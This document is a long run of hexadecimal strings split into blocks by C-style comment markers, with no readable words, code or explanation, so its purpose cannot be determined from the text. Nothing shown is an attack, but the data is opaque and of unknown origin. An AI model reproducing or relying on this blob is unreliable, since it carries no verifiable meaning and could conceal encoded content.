6601e2ab44c63b57a2295f3806e2fc78d5e8f2f0173fa31b8f1386b1f4bd8ead23ff554726a04acf975f660b3f808e11a3c9f5ade8453e10ba6941800e7e9e3c3a8209596227b092183c410cbd4f4b4666850a7088bcd71d10cc9ae5d105217dbc67f298832d359323f38683193fc86751b0adf35f49a96709bef9d1f9bc65683383807beeafa9d2c19faf3a2cdda5eb7288263f98a15fbe949d7510e1b0ee33896137e1d0b5b2bee3ba3477fb8c62fcbc3506d4f741e674e7be8fd9ec84bb39e308cc73b9bb7a10ad12b1284d83887872dbb4999d0cefeb80452c0e050e17d8658330937d8e152b18019ef06591f8591ed334a65e0209bc3305740990d9dd3c6c3401db1cd653d90b664064b34461a07c3ab90cd541ead4616c17854140cc80198bd0efb0bb0fb0a4cb251f1967fcf6bee88aa9c12c2ccb28cb160df82e16607f8fa52a5b69ddc91c9d8889f295c5193c2a8af7a9f081eaaade6af18ae77f6a5e37baac25e2f54abeca6d7072307d8b9df6329261df334d557b5f5088a494aad29a2395afdf3a065be6e660cde7462419b2665bc564b76dddbea503082024209ec563b235d2bf3f472cc8a2aac8370adc31b0591997aca765b7b412de45e2d794b8472df0c85dc0eae147c3f48c41698a87360d962addbca73c5787bc116dc7473425e5178851d207d7c371f4e3692dde57f27d8198e1ed6e57c0a38be89d328b39a36aaf733c0f9e879d9b166c3ebbfd5dd6003c20616319dcf26c724559b1f80a0a2b0a200caf7990a19050cb33ad9b6fb7752f666c73880141be37bafb951e20f0aee8d169d5ce7716b92609b185b41d6a9d1b891c0f3d538ca808b6e871740fde8d8f27734e59b966041ba43c5283a5d508dfeba378b4df6a02eecf9d39bc2e6ff75b4ad9e85be6ca0eb1ccc2584b3b9553785d9119dec81047c8c62162818081fb0be9b9ed84ae3b76d44148fd63dbc79be0aa1e7df772cbb68d605e257d4cfe18e60322cd551fb09dce7f6661f979c6d9a202f333a3b4eaa6c45f319042bf75b5c589bb4688f16cf3618ea86113b7fad0489d44e93f48c7c675b6e2e4061724a8ee7db38b3771015397626ca944ff568cc1ec52766e1334f7c42346ed60a24c2577db00452ae5759252df4737fefc47c104c1490a99e680807fedc7d71dc83a207c89c2a54152869cd6e9ba50b8e9005c91cafe5585ead8cf6f02c71e99f43035bfccc69c31af67e29cf3720fa3db0dc30c70403a7d08d1a1cacc1f3fca927e4fe94fe1ef0eef594c62d7e8e695c4d01dbe2b59f313245180ce460225a924ba1e16c257c72fff4e31f81e07f3c23030607aea624722c4759a199186e602b98b2ee15ee44252c2af9de3ef84937501405478622dfab9357e029700efc27ec3ac8a583b50b4bc79d293fdd239757229bdf365ebf40e30e4e629639331f2832507af7c68283d7a642f6532d3c5576e6b7292a1244a674952a465b64c80fe9c8d22ced825d3599900bbec4028b4ad18d7fe57bc654642057493d9baba45b3db6bfa30d8ee143852ed6930af1cde597783aec3dfe5fb47630013f2efb19001a9e6d6d9800e3d0d30db6565ebd57383d4b41ddd920ff70739f48904e3858bc26a0fb572a564bcfe82883ab7bbc6f28924bfdb3cb755ebc45703f5d53a0b114b22276b980ea42b6f513e47e9a777ad586e62144956bf520bb0ec98fd1d87f642276cbacdcc6372ec13aec3b03078acf916dd674906d7a6e13440f83aec75cb4567eb53afd66e1cbcc217d82196977edd00bd33d76f1bc9a47ff9b36772436d8a4aac7863de1dc6a597276377d81c333e88c1881dc69fc31c2d23bf288bc4abe2be1d13c7de6ac6dd7e03c97a92a4cf6576652d0de178c5a6688d9cac4969a69b8ab2815322f8de431df9bfc55897b5b62a61e24b0a0024c7e397f940a763ded0e9e09907057a2cd37d104586552f8e7645d0c4c327ea98755b763d3219345497c1e4de4fc558b25db2a80be9802ed9f7ff5f8ca4c95f95911f6ed402b7c5b8c26644848e6d42b0075e7903d8df9f23d114be2f87c3371661edb0f990ec5c2b1e3fa6874c10ef26146534c75*/
/*bee2dc2f5a3c6dcc7ac0fb0e28e1d82b59e9027b32b833feeb0b0a8d1bf7aeca924be1dd64d78139f6b4952b06170376dee4a396224978c4a8d9b766962e2906270136a8a71d16b2f63a402691834648a0835c1388bf928dcf2a788546eee262094c3caf7f23ec7dc40afb0dbb3e64a04664e53568d407b90fb61897d50dbaab416c6f16ce2fa1fd79ea120aad96166de90228e2898744790bb35be4aa20e337994915ccf216f89a779fc6b3a43876d40bacfec0868b0ed3ccd0972f20e748480aa4ee215ff49297757e2efedf5e4e772fa2cda1df1e69e15829cc33ba5c8a93c708d005bab70a828bc2a1444cc3f86eaa6f1c178340e3a120ffa4b960ac7f4127081f24ac0d4225b5c6fff6edaa25c60f577cd2881320f8290e0586bedeb47f425fc7cb3837ee272eb06570f0a060d440ce933336767c6833fb1ed04bbc4446a3fcd4ddc6f026095654b830b1b28736988e426b5e1a9439683d120b85956d4d377a2b526081ba19c6208c1595a34ba0461b35d4394b262a4de7ff4ce2e858d8b5760419eff48dbbe91fb6fcd1d4610a11c60c05797ae707b4b24014c02160738c771719d7ebe1a3408f8845cc62e1611debee4c8054a1be854b134e2618052027b3b2427db06b8e8d813ae2058c4dae39cc5728b257543a63f2d3cfa0aeeb295e46ccbb8df2a0bc4148e855e0b0f85c03b44c9ef11e15c7a18f8a7c2b293cf295a14209a89eaa412fa7953ceb6382c2547c78b5c497177d8c0ef03a861cf6ae664e58dff21fc2675a6b2b8b4f7bd375ffcfc597d7d5a68c5cebd28b75afe93de55d865d9352c89da91d8533bd3c2e68b50f4427f77fd1d1e2dca7a1e40f30909722d469bd60ea7d04b8a849f51d659c323d067073c39f23e282293f018ff70f702f8ef7ca5808bb38a5840e04f78199f9156847a2b0777dd4bb032cd640e6fa3589999f2dfa4f31dac3405eb2163c3bb68fc3cbb7e5410dcc54473d876dbc1c6b66c66da379ce32a7fe20b82fa5d9014407f4d5644d64a4e23cfec307fb91ebf959ff786d504648b350085994df0443b319eb90d7e0d90098aebd64a5ec1c6bc925dd6c073fdba7400de26c7a0ad8bdd73caa7538643937b432decd1690b9fdf3f80a625c49b4c8a5036eca54d03c47259f42a66d80c3548bd930f0cd2c6842e3b49b608ea14cc248901e843fcf294c575d0978658118742fc6efa2bb046c3048df26c96b3b3e9300f0cd2b575c75cde39f0657168a87d06891782611a7076230db591c0c3722f89ab3e7c99d610ddfdb33bdbfdaefc1e1f9ae8d1189fdcdfca176259d00ee47d178e68089d452e4d802c62f208abe5a2e0bbd137f7fccb8c7cb1fa77e1eb4222a31fb521630194e3a11dba3e1a535096463abf42daa9e386e85fae00021ecc7263fb3e89b4d37d808ba1066ae2cacc03bfc25629555b1e55c0875b754cb570a3d91f30bae304c017f9e78d8c76b568fea4105765fe98b68e4b9ea912e9ce5165ff0d2d29c4bc07c40c50d13d53396ec6b85f64b95207ac698b3c406eafbdd05e8393d1be053c6db48b758962fba47a79753512af6396f1f36d6f81bae92434b0fa9aa6bfe7c9c1c550c13f35361d98f596d5e72b9ffe16831067667ace81536e8fc75456cabd0fd974cec6ac32ca71bd5efee496d673e78319b66b92704dacfdcdcaf5c7ead386652fd47e31a264712994c78d2ffc84672a2b09bc2cfebac658c6cedc65182297c69030e1e1baeec8ea3e61df09f838f0899ce707c2f7dc4e18a63a78a8af316a96b8a0beffe5c9739c0653d39164c3781a709a7ae96541bb9fb4476515388bad3084aec47332dfdcceccbc1b8204bdf3a67eece47e6fae994f9613d824b398313bf79abd1bde7b78dc503c7fa91f7b1d5f3123bc49711a3efeba5edcf8c27b0e2b8f7ec19dc2b71adc9941ce8226a06b644197f9c561771dd4d93fe6d6943bc2f717a6acef733360eba7404609c5916f742272538e7fa6d46882b3f86d6a01d9e1015bd7d4d7ca7bf62ccc5dae6c35421e2d3cff9e10836347aa92c2d2a3fc1503f5496bc9121aeb5a3e7f611b574f1d1115c3c9dbdf682efe2abd363b379c15d6bb740c01ce96db25129669f795710f94e1e49373bed48b7a9b3df7807ca39da369b14f433eccc8f3503ec29ec29f8288ed8ecbf887320112b93673f23c091b195644296845232aa1a1902d857b7b90a1f2cf64cbef8003685d267fa39f839e1cb27ae50efd18d823335f66c0a65bd73a825d2fdf7d8d3ff8ae2720a4356313340242b0e0b0e1b34570620dc543abb215e31fdd56037c9af9ef9b356d92616d7b902f7a92ec353cd616f9831a41004c0efdf341e02ee3d06c69a2cb94c75f39ea413f421ecb1e34edea06862af43b6f10bd7de41e0ef0a802554c0def62fda517f78ffaef325d24fa7cd24fa990cd1fc4bde590e16223fd235a0832681db7e7f135bc80c625796610601ac0cf8ca59f108722299d4c1a72d8512470e7b8aa64e5f84b32edba9857c2a7403a6ccbc95cd41609336f02aa9fa37b7afff1f2f7d5a43a92d4641f9a79ce89177532fa540dd8f424a41e61e298ad090728d23c9499936d31c69f9236ea021ca0b3b50754d9d58bf301489333b566e0db5d33f31ad3609902fe44ed3d5d06031386e4bb7a034785a9f32c591328fa5874932fdb13c8e2f2848299ca2d7c8170f4fcef6aa9b4098dbff60f7cf341c86005a3741265167f397fd32b3a5c361f5b23b70533a1eaa082a8b70ead93f2908939f601b9745fe974ee01c2cf74cb3672dad2d06a510e027f74ccb8bca114c7c05ba939179ee7ebb*/
/*a948575b29ec9f469cdec70ac6b8aa404510a41eb60a7d482d86fb8cd38ce59ade71d3b040bbd19bff4e2e722749cbe8396265515098ebbd7e4a014ce3934121ee3a16b8a34652590aed70b2a1da0430b60aed5a7d55ddaaf775034175de1305c6d808e673f537ef1c32a39720bcaa50aa314ded76bc84c1b7ecd9d45e7695947da06c3d29e7ff36325ae4f97d2ae038ca7ee5fc4816639c1aa52db9c907607b04106bc60eac68b980d0a8c155c86edbe4274dd69956cbf88138b5e943a78b63af5caaa36f0b202bc9c1b386100222424bb1745b31bd15bdce01317f4116e3c7b9a39ad521553611553dd15ffb34586931057929122c62100b7d01903b481f196f6173e38ddb71b885e2a5df20754b04f5eb69ec7c3361c0bc0e42942b23ecb2dd2bb89866df94caa2b2546666862b57cfd30733a3536550d7f05d85299de6bb58079c5c95d4f17146a11ddb55660ef91b7bbcbca301be0bc730786d7b613ac4046b33e940ce360016b048164d8ee300c1b482b719fd268948e9c6f2cde39bed0915c4c56f22c0209d2063ec1bfa96e888fdddcaa82de23324a7e1067f93c95e7caf65f75f91b93c86a30b95daa759be454d62500215ce3024a92fb38c918003268fe31457a9a71274adc2f9ee6a32daf411e560635d0654c62779284b357c4d065faed1f6e57e753f2d19f5e18a0ef1352c501e23fdc7075e11dd2a9d2225fa46be7929a51d929afe8ae8e8db6c619d06afa7de87e42fec54ffcc4bd7cffd0d239c6c7d5390f6016d0109308b0e685044a5818673a0edb45f7e4f94500442e58a1254715db157cfede383bb06dcc153fadfbdcb82454de765397d8a1b0429225d54b28895a8b3a485e9fda2b9416a4873eef3a53cb8159fd7ca16bd785043233e10da56cab37ff2e9dbdf74a98aa7f972921baadcd205f6a53a4d9fc7b7ce2178ff7c6dcc69da2b5fabdfa721208e712be146473f0575f9d11ed65974503501cc466263acf3446ab52fa325288c45ae27f0589ffde8ccc59aca8bfef4857c46ded68df0ffa4502455b0db88fa9130fae7aa56fed6907696715249c24edd9e9667be214ebda8bf989fc363c74d3fc9a35b76cd4f7f3c77504ddf9c41ab102ff9dc36114675154cc80e24848f3905f35f0cda66ba2fa8e1c46fc498fadb965149bd14526e00b003a61ca57626ccafcc7c9d02b8d05615f840d17b5fe1ee38a0dd764378c77c407e707cd1298184e43bc1f206f215d50c55225f9b4f3562a869888c71214e212703ceb6e6ba4eaa294914148c5bf20a063dd8a1cdce9339930806f4013e626219b025f5b12d806e9c2451dd3b4454aff00e1f255c694637d873864d3fbca4e442b3c83862c5349de24625df3a4c75c0f9adf54f20f07a7c73368d7f9778fd6c07aa0a58d2a2d0c7fba7a68eb2427ce071e855f3ec132cb457bbaa012c1c8ea296ea847758517e420de0377b8977c103332c929cb33dfcb1c2db249ae9784594c204fbb51e7882f5435f6e51ed237d116e47bf54c6093c0264e013cbec5f2c02226155564d4abdf94a9419f9ab9916a470ceaba278d0c73f7bdd4d85449b896a6f7b93fed2133ad81991817502dde10c304db5dcaa89fa1c6be1288e198924ee255eb2cc5d85928129d4b8b79d2cf7efca1901d31c30e6c80b629fe38e22b4f0d8efe1a115a04249562d1079618219e940dc6d5a1bf4ab1a37330121172f67c2e29ba95d20e4d938b3e71fc20a6697b84b40914e15c6a70b9c1314f7681b0fb3c2abb0d147df7995987413030413c8fbbd1fffed965127c0500d9b0959a783fdc93f13a7531b5058b7325da8c1e4fdf190c9b036acdef8e23e9055361748a8e94d41579bea78bb25ed816d7ba8e3065df5f1f82c784457a51ff3ecaf922ee6568714fbd2ed692f8031d67279cb8619adc4b555130d664f1a7bb4888a87acb3e9b9f783d7957ef2d73b0d12a700376d51c0566ea57ff2d9d43ec61af8a6d172625537513fb1669e8b7d28a1963a005be99a3f897970f7ae9aca5d9490f6886aa6d52cc4f83e189039fd3d03c0e69dab8879917dcf7418a1e391d68c60b9d2b83a1a42840c8c631a25b6f8a7070aa56e41c58f6d44e64b876da51115fd8c00b7c277794746650fa23bb5d604da4a2e68a6953c18acb739f774b8de4cee540da629d1fe104f39db5c6d21f7a0025347fb1cb9b17323d8cd55ece41db2b01c0c2e7bbeff980102e1ed13e6d9da1f5f3bb2ef165f6af585240d28125de3fc3b63002869fab81f7814e7bf6d71d4fae0ee5ed6f37f265be2dd77dd37f01a50ed02a473dd196dd5839f71b92f695f6b800edabafd7a5d7a1cfdba5784e19a05570d24c63d1277beab987d1e89bf80beeadcd79e3a806bc5d432a8cdccab3f105c8b754e9e5f3c6cf9a8c61cdb36be4a168918931d21f4513f9fce111b9bc44bce98c097c9bdbb3d492e4a08dbfaea98e7823e732fadaf51f9105d84de74f61e78b5cc734256126cc12a7ebf42f156c628dcc7f5002818e8e11d3575b294c27ee107f0d2abfc72fb024c49cc01a51320300fce1ab680c0c406c28acaebf6faa920ae2ac7083a73518c5928d8ca0b77d47a6598bc30516ca8ce9af28f7f7ef708c1e9d2234069ce71869e14dc619c12b608048ec2da41f196f84fceae99df91fc8e9a1e20dd9e61433563c07e4eaa0582243906171d93ab5529ef834ed2d287f4992a9ce19441e36e0b7650426fb38d36b15b305ea38e63506bcc5073a4fe6f8882d8928307c2b4418f04314cb2302c55ce362589549a3dfdc655e42b37d0a708b3ff8f62e5f686c7a07a9dff17823d*/
/*cfbc4ec9f46080304ab05f9f77f3a378f0674d9a49067cbe7f5105e8fdc17c9f7a38f21d8425ee5edc440c783e531fa754bbe000484a3fad1f47eee50a16ba638ec9cd114c7ffd6fe0406a03bc8317bcb7bd4320ef92333b1926fe9953d6871fa36e9aea0711998ba69bdcdd38da5da65c8535addf6fb88ca87f70f15a023d74fa07c7dbb92d75d880b4a82111796e7755b6eff64915beabe792353f3adeefae485190f401da98e904a1ffbba5813ad68d23b8aaa519358d53a00480378651bc5a7830a3e81c54a9cceb80fc481a3d5835ad4fa454f9050b7689b3744487596c3bd02790788bd4d9865f2d3834736fe34f712753838754bdca10401a011367736442ec82c58de45f5d8c803c47e408054de90571a9cdf8895ac4d541997afaa37a44e724d561bcd0a4fd3b358a175ec77cdb6990998406403d10ad50f06fd1139ff28336c15335cbab4606d9fd3e39795452a091ed407a1077b5530717cd4c0f13df18d2953388034337b0242e9d52a6f3b5873fa999a248c8c70d4b6701a2754797722fc8524be8ffa01757c86788614da4a77375550013eec33916eaa4d2bf4a0e20f51138329368c484f9a1f03d62db090f801a56c6f35e44e1fe8c0ec9136ab82095cc9da9d2b57e0d6a33bd719ca0705fe34343f0cf6aea8e1f3b2fbf37d8e6eea90e893ebcdbae688c08e22a62f2dda34b40762e23c65f948f94b8487044d4e0856d40d75bdfac59dbdea5cbbfb29524b2f1feb20559f13c43a69d5b3e00bfe642d002364aa4173b8de0061da65ed2d56afb985a37397d6c568dc2ebdaaac22850e8c54a1962ba435fd474bfc5d4d5dfe29a0848b1710337e4404cdecc1d84d87ea58025d61d26f6223ec9db1c11cc8d3eb1d2cd9bc594d9f7d30f42c9167e37fd0a21ef6dbd7835da21686ed9d00ccb9e397f4d523a6e565850058c7511f5653e2c01dabdeacd6f7802a4b4e7e14abd75430621fe3db49507bd943df5e76168bc6e3b6c4653415dc4f487bfb7a3833907f41d189747851510af328092d5a1884b32209313363f16c65ac9dc8aad3ecaccd6cec25661c0c6ad70f9ebb3aa9e8bfbdbe0853c86a7facdc8b9f75a2a8fb0afda9073fac17f966ee5d647a063361709e1e26d57134515852cd8bb0afa9f15c024190a6ed145701801edbcca7ec3c88a2fe8c93463e0ec1197a7bee0b5878e926aedcb9f0183e1fd7e6560ddaf2dcd4efd77b66abff14738cc91799192dd7e0d1d9556af3b1938e19e3a48aed57da077ee919262ad8a4bcbac2d4a85c329b25acf30d27f653ec0dd55f101a78c805a47870f0951623233f477f97970d2707f60052b8e1bc8f2b8a59b7b1a519b60bfac7daebf44bc7d8757e935f1c2618f46678060d08486fd860738f626a30f15b8b1005b71616c897fbdddab0ccfd0a8d07c2ab11c649771461c086b5bb2f53edea3c8557cdd1e76f84f2c4daffa3f955daf40e3366c5ef0c092cbf2d5dcdffa6eb39482e1981b766c086fed45ca56fc16bc26e28e5cccc8db634e1754914d7a10a528948a466e058bfbd64f53e2dafc809f3a4037f26c9c29a9a49adc1c5fc2f1df977e06b473a9014e3ed9ae6e528efc788669a08d16ccd8a4333ed26b59c3c1a1e8a761ff5f0e48807997b0ef063f3b4a238fe16a9a52f698707577009d23ffbe9bbb03c8eb38240c5e4a778c1ebb45fbd6567c1483df3ff3b429c4c839ed98cb3d2bb15b2ed7c3deb08ff0e570179b07e7922e28f6623539bd2e799d0ed1a3de588b84714aba5ee5c7cbf243ddf42bb30af584aa6abee7328c5f1a05dfe3d9dd7791704727072b3b09ac1af3fd06500a4d4119dcd929ddafc6a5b3d72135c550b32646e8bae3c61e59f269eb5dd22aa52f6f71a4abf3abf364cf79fa744c27ffdda5db142e4a6324bcc24c5ae7ef866e74e635e79a05d56c430c75b8bfc3c1ebe359601cd73599b43d5b1f115196349905c55cb14a0f89b88ac28ae7653b397d664cefbe66f2569b5fc432b11427a643c932f5efbb2132ed3a45459e7dac80fc0f5c4ffaf4ff5547358c87e969b2493ddc1f1fb9dd197c7bfbb7e32172a6346e9d6c768f2f560fcedc285be39580cbebe9e43d0cdd793ce05e564dd1eacd32ffc4f755db169460b8cfac1739db642cab1c82452cc28e37060b4540bb88c2d0afad6dd9cd6d852c5165ed446bb7b1ca89451e5f48a546f6c539e0339f87d49392c385663d9bba4d42ba889604aa0e6e7298c8a1ceb83a8fc75c0f777501ae9adb2c506f05b4ed75d818dbb7a08289b924c204405875adad8e3d39028025df66c2491ee85a5fa787ff5cb2f8fcd03b92affe6124adfc63318234fb3a1f163848f8e32e0055b303b7fec2b52b8a83cfcba526ea348712cb6572648beedede39f8b1187c0cabd383fe399aa9c59cbfda5f4bc1f01719ce3f20da315e5707555fd77e0a3561f1d19163c55e2d02c2989f36fe3ca96714dc82927a40c62909451ec7752ae633d422f377fd41d96372422f4ea353540a462aef987703bc4258f2a2f903a2d43685a4d5323768705d9366b8d63858fdd591ebe30ad13b65cd750f0eec6e8433abe019264406b83f38fa56aef4ed7647b37fc59d6d1e90c310a8acb92ce91d985b385b93c92ee759cf7d05515fe50b4f0f62d954eeae2ef9c566a78762c7c8f61026d15bcb49cc247aa2740ac7bb3b9c401961a0ccade36ba3819d156b54834f04162dcbba019dcbb695608bee250f73c3d12de64ba7ef0f35a6fff43430023c35a0fecbdcad1c5f19a22e78b084bf6cd67d5c1cb4bda0b0976e96bc17cc501ba9d1a8156202acd10d7c*/
/*ba2ab4713242a5dbb89f2fffcbd680c1a6265c222c018d70cf30a097e3805393532257cd011547c62d33f7f078112cdedc552a715e4afc7851a0ea73a6a743332bbfaefdfbe46e9805aeecd03a90b24bb3a8aac390447c257ae52420ec762e453414d6c5e332f62b9a63fbefcf8a6226d7ced7759297a48cfb5d0d00f4240fbb1856a5b32e43b9deeb6215260464e23631dcc8ad3a1d5bdf7e1a0a9042e5577a40c070f488a4b81822ec2c4e7138147516c181ca9b7ef71d3eab44f79383d70f691d9efcf5d7fb459c47fbf862d79aa37aa4479a90677bda1a0d7a80acd5e36628542263b9952d292bd3e7fee2b538400d5bc07ef64bb822f8ff0d82201d9694d6a7ffb2192cf89862cf3c8847be2503f2b9b3dc0de44c8cce0464044b7e52452cbf4c42c16f4153149360459dc22ddef16ecfb6adb5fa2bd59eef04749f18d1d77a7e8cac5ad6c0f86400f1baff24512a399792420f938943bd4efe24abf0d9be5c7be6c35b9790078a63ebe3a4dc4bd028b2029e988c76c294c29143cd43ce3c82ac361b210405c739585255aa71bd473118fa7fb78c112a8383821a0d198c1170e8137457e96be36c17e6da8b9538816239a87ffb7d39fddcca0b3e90e118807693595ff063bc2f4b8be27154b741d4f856a5cdf235a150a9cf894435dbe618c4d24073e6b59d11eb1d60c9bc3c7a08553d456a3eaa5556f722c6f7afc5d250578dbcc12f16237302e6d6919cff2557335ee7ea8162b6ce1631b6c291c2681024a376d2728f8867be80343c0f2c270e5f7900b4d352d5c0b16892e49b2fb409180ec01d4d38e253c56b8d048bd9c225901f71333bca5ca9273a3f733a3b9864686c0c283b26361ee57687a98f51e66d6d0ec04ec7f0193b3988f3b67c583ab4cf7e1d60edf649db9585f69c6ad573eecae29add6cc327e83ec6d1cebed24ea25f8e5bbec5355b19ac12761ee18320c18ed84a646d93b52b89d2c275eb38a630212116fd2c7dc00f0a5133a8b58849b30a231816b3ada3cff086f4c1ac1f3f738b4e35b1d373559ae8bf5761274469d1a7d2bce24526ace35e33a31fd5f1a84fa3688094cde7df0fb7f96d21d8e9ba72815f1a7f0def1b88809917b58ad8b15f3868569b3ef26468a4de387e19f5a5d19433613b65d0636c3a8140a08afb7b883156f604d50f70af2bef95110964ab8c8e1c39e0a0020f07a2c4a793bc7c37065829a8dcf44b944d41ce9b2939aae7ade2c466bafeef172ef7db9a5aa44c5c71774bbe66870d261258356ab885ebc70ccc4abba7ca95a6add621f1a3b063ae2c930651462c950eebbab33eeb3d5281810c1e2c6b0718d4e1538ca30d6cd1f728ebb20417f50c37ea41fcdf410446267fcb185c9ba928f8b58d02bce57cb436bc7d4e7b366220be4a8588bc0c8279c39bfeb527b6adff5c4de2de6e2c06d080f48b03bc3b310516fb1418ad9f51dad0f6dfc65b19efb71ba0ae76d7a0ee67516e0e96ebb964c6c5c74c266797f6cf340db4199ce16d4f24e4f6664780214502be9316515f5f27dbca65f28516e88422e458681fe1a2a97d214cfa77bba8d4e89327e2b3b61c032c553d146f495535d3d46e4ad80fb81b3ab2b723f26fd6a91124324e080276eeb164110da3d5e65b363fe83f59fb37231e30ffb282ac2b596879b881a5cacd3653e6b540c0189eea401e59cd65ccc0191822cb908f0a976af90dee3e5d6df488194dde3717a3217204de47f788237186bd83988b20a927681f06584fd8e31833191e4f48b5c15a6248d9fed8dcf9725c7f1adcb28c2a405c84141818e4c1acae14c73f7f36a91b1306c03ce0a462bbb0996345b03c5abb4435d3f0a2f107c2238991fff5526e6b27ef1a5d633c65c3e4f7f9d4393d70c5d44a547f900b33a3a718911f9ff295ce526fab8872e9fd6e019792783a85ab2c0133a1f87be56b99991c77a5d7e0dbb1ad1865f8d446b091d104da876bc4acb2ccb22d9a22691d5fd27259653ce08c56506e9d2e21c89a042d4cdf92028a7afaec5f315bfc0d463608b23bad484f992bd5c4dae52d12fc53a57dfec71f2565c9c17cae76c5e820bb94b708c9e593e2bb1cb0a9b7cdb63266b179e34d4d45e9e8721ee9ac865f06045ce73225b3a2ff669e3232e3e3b380ee1f4dd67b451910e252bc3ab913e158525ff2c817cc903e7cecc707595666cb82323636ac290089b11bdbcd86fd46ba72b902ab12fb198c4438bc52a368af00a35a5293a20bbadf5edafed9e0731ed9cceb9a6ac5c57fc4af860340ba55280a8b3eccbbc636425966f706b603a116a36aa04e667f770967105f1b6d9a91dad000ea73f9f620258716f016edd195d493f15a3736ad83c1f8f2df2f40533cdcc9d8be8028bf65462d6197c56231e87ec810a5de6eb4bd9dc7b75d6ba4778583fce163669005592e7983dcad4226a4e8b8780c46b9f4846dd0d351b39c8f4d450a007529142078ba44e0836b7802e75224b546d3cf5221792b9ab769b968e53eaf8230a74bfb67ce47118620a2aade570920d7ad1ceb12debc422cc0671887b18750074690b0d6ba5c2acd09a499f135781e13ebf033b5ff2e5fe75012a57701eee6b1952ce8a53a0a2bc29c04823b4cd51b3157feb875b3352491fefa34bda359ed8c96ad99699b5269c83f5571d1f826d6f234b64df9683f89ff493f3c3a0c3e55e29b39df3fb0df9e2d7bd05f49993d5a3922358e7395cd0deac9df72bb51f0b48eb28a302094a0eaa14a519fd5bc20e7d66b0d07809fce7ae499a0ec2b662a95adcdf27ae3f52450d3214775ecf6ad3493b7895a22c71971069f*/
/*6fec51d49783794891960fa359c6444258d9e58aa7bff6abeed936a397f247ad03a9c820e2b1b807afeaa03b9876c66c2191248fdbd622f0b52688bd6395f672d3fd2cd16ccb2f02e8b847cf59e2f5665aefe1bc36c8ace0753d33597791281332bd58fcd29fc2d1285ecc6dfd1e57580267090078458ec580a388998cbf4ea8406b74f0fd3b2b1f69c23b0dcfb5ab495f3d3c6b39b3f584063011fc681dc8561df373633aed6edef13cde5c776fada4887800bb8bbced26134c5d66f3e2709dce78da171315565e7e436cc1378c79fcdb5a53921244849a51a2b3f672ece3189ad1995d362f6d1577007f2661c61f4fbabdea2627313bd5bce13b6e0902b650e0089394c222bd2de8e9f8a1a05fdeb4a639d8675a46af7f967937a8681ef3572fc7eaef447719682bc89a28c31dd522808b0b890829cec0362fa9bf91459939306c8354bb56a839ca37b152a041de0e5bfdf5d427ca851203b8664d5b8df0582a042016891cb0f4a535cf5352655863e333c9cda487bfbf9ad67507350064512c481d39aabc52371f3c461d17008c3da15c607c1b93a0a1dcbb3db0568f2c0cc85ebb9ab590317d21d211cf3569ec8bb822f24ff7bb9057831c9679f570c8932a6dce8985c07a207d5b5d924109cf2e6e3d4f718d329a1a03bb7d423c95c55142d3f6ec87bc68387166aecce4ac21ec871d7981eeb16f9e37f8d6e621fe6a6f5b64e4082f0840ec04427f06b283b5ebca5806ae0da2bcb31300e89d0df4fdfeb58795b512a86d032042dd041412403da418b15fa2be44ec83dcbf4db96398907a1704bc2a471fc63087a5ac622b93dc17b5815ac0ad5236257189efd4d2e842bac74449105d6309ca96e9e26348e8c75ad37a077f432cddbc333349e5fcb9058b6563f5b5a178598470f09682fdf3231e0be3b1ee25ea13a53ec2fd3bbf84640fc893f89149ae25a1ac3699cff90b68dfb553713bb25225eb045fc2c2ee7b249928ef3d78d9a7ad1f8fb35023dc5258ed0b3f750ad0b61cbd22762e38b4fb33c5bbfd4154b007df572bd98f7366bdab74510905bae1fb00c42b32522068e7f67eaa2d46d682a26e8ef93549867a6c383e70a2cffcb53bd096b5ef101bb6ebfe87cd7fe59d3446a3dd5057412ffc0f80d2591bf3ed6f8993f2be03de4a1476bd5c7a7ea36338b20fff21d5e099cccdf7a1f1e44de94b76694fc1a03fcf2b1ff01bdaf63ade43f81ec832ab1d27d11d93a292492c57e35b3b8b2213a9c5b1b0270d3ac8f5b700b6e81cf6cd7dd6644722586810caa482d3fbc3a1d8132dc8515bb3798565a83427b5d8d19b94ebfbebebb43e6eceda6b5b26316a173c9cebb073107a813a25d16b193735f40c947ed30c39ae8f4089a472a6eb0ebc820dfa17a5d59241811c4b4ee708f9419dd7e3b744d2a871623bdc63f5fe42eca7001e4a2af70477796bf7acab4fcdcc4c83767125f4a0dda6cf0813103de3b534397e22e8a3e71d20788838eb2bedbc90c224a70c783d26a14c9e5fcc624ce7892f4c0ebc220428f26e9e3a7c5ac201c1d90df5a4b386ed3154a9a6a000caaaf42c8c125c0de4dc3bf3824be80675a4c3608cdc8fa57d7b78efb12281849d4814a4e0810091e3f603513179c71c7d2f134aacde7c412d3ba27013eef761c10c5d5cafd15477a81bbe627d7c43c39451dbe8ced10ab31db79a8f9214b939f19afa82325bc4e65a5f9f8dbe01b1171ed6d2174e7481d8c3a0d3bf22adea43423cd47df8082322fd4b20c25eb686dd43fe85937d239d24c09c9159835e5762778bca7e6b0d2d88e41a519686bdf49e663ea38264d252725400050f3964e90482185817cdae5a68697e3d25f0447f0a2ca7bd86e57f9095590091ac8f785af9b0b1b0349152ed708f112430f4a5512d23fe8b1f5a46492e9e0a6a3db02361f31841336be2040b5ab417b5b13199105c425c50d1f183c28a2a4a36ce1a87c95a29cd894c9141f83d622a633b818a6ca7d49363c3533dc3a06917613005da69d9c6df57ce2fb5cf5974b4cbeb0154853edddbba22ce7a306b5171063c9e11e3f4feecefb0d1237fbf93bc5b46c2436c3ffebce0e01158bbda14a21fca1f00c1d77048d51865c2d30c468d552af16716ebb2a449a8f603c19695d47815166f5e6546a60ad0419f318a9f26c0fa580bb02b5bc7a5ce3a543a42316b6781f9180f214e5520a87ec03964b08d7efffe5ef820e88d824e8ce0bf1f88b2b30ac455b7ad77a1ca4ef04895ceaece69f642a72610226cfa2e7d680debbd12f10624530888c27bee733769eb9193073ad3e041ad091be9a635de31e220cb7e10271199d9a7087579a0fca0db47edb63c6a7f0b2033e8a5931d6b2f06e7ee8b6762a6152f419f6a8a130dd47fb51f85040306533da3daa91ebdabaeca7869814eea6fdf453af3b0f3cdb3a585d8f2b954fb4d9a0e0254a33a82569d75f1fd30847816eaa0ed6361884197ef79ef9ccf9f32091ec8447e6e74ad75aab36192676ed11966c1455cb7d313e859357c807acc48d8f7688c66aaeb24b3b9abb63cb07a889f6eace4bd6ed532194bbe5294b449407bf0b3717a35ffb81cc13223b4b06112f1ea2735c2a04e6438b8d430db519257daf9227f76b3b3ce2a45c07459e7c0ff050965a3c9d9efcfc0d408b0dc38d567a03ca5955cabb98cd74a1d1e7e285de48952a519ba060aeb175aefe6d3c1b281a0b9c7b7908144e9a096ddfec3a71115886262d9b1